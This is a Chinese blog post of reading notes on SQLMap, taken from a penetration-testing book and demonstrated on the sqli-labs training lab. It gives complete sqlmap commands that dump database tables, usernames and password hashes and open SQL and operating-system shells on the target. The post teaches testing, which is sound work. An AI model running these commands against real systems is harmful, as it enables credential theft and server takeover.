SQLMap详解丨读书笔记

节选自《Web安全攻防渗透测试实战指南》,电子工业出版社,徐焱等著。

1. SQLMap 是什么?

SQLMap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定 URL 的 SQL 注入漏洞,内置了很多绕过插件,并支持多种主流数据库。

SQLMap 采用了以下5种独特的 SQL 注入技术:

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入;
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行来判断,也就是页面返回时间是否增加;
  • 基于报错注入,即页面会返回错误信息,或把注入语句的结果直接返回到页面中;
  • 联合查询注入,在可以使用 UNION 的情况下的注入;
  • 堆查询注入,可以同时执行多条语句时的注入。

此外,SQLMap 还包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统、并在获取完全的操作权限时执行任意命令的功能。

2. 入门

我们使用 Kali Linux 中的 sqlmap 命令,并以 sqli-labs 实验环境为例进行讲解。

sqli-labs 是一款学习 SQL 注入的开源平台,共包含75种不同类型的注入。

这里,目标注入点为:http://target.com/sql/Less-1/?id=1

# 1.判断是否存在注入
sqlmap -u http://target.com/sql/Less-1/?id=1
sqlmap -r request.txt; # .txt 中为 HTTP 请求

# 2.查询当前用户下的所有数据库
sqlmap -u http://target.com/sql/Less-1/?id=1 --dbs # 继续注入时,--dbs 缩写成 -D xxx,下同

# 3.获取数据库中的表名
sqlmap -u http://target.com/sql/Less-1/?id=1 -D security --tables

# 4.获取表中的字段名
sqlmap -u http://target.com/sql/Less-1/?id=1 -D security -T users --columns

# 5.获取字段内容
sqlmap -u http://target.com/sql/Less-1/?id=1 -D security -T users -C username,password --dump

# 获取数据库的所有用户/密码
sqlmap -u http://target.com/sql/Less-1/?id=1 --users
sqlmap -u http://target.com/sql/Less-1/?id=1 --passwords

# 获取当前网站数据库的名称/用户名称
sqlmap -u http://target.com/sql/Less-1/?id=1 --current-db
sqlmap -u http://target.com/sql/Less-1/?id=1 --current-user

3. 进阶:参数讲解

# 1.探测等级,默认为1,最高为5
sqlmap -u http://target.com/sql/Less-1/?id=1 --level 5

# 2.判断当前用户是否有管理权限
sqlmap -u http://target.com/sql/Less-1/?id=1 --is-dba

# 3.列出数据库管理员角色
sqlmap -u http://target.com/sql/Less-1/?id=1 --roles

# 4.运行自定义 SQL 语句
sqlmap -u http://target.com/sql/Less-1/?id=1 --sql-shell

# 5.运行任意操作系统命令
sqlmap -u http://target.com/sql/Less-1/?id=1 --os-cmd
sqlmap -u http://target.com/sql/Less-1/?id=1 --os-shell


Leave a Reply

Your email address will not be published. Required fields are marked *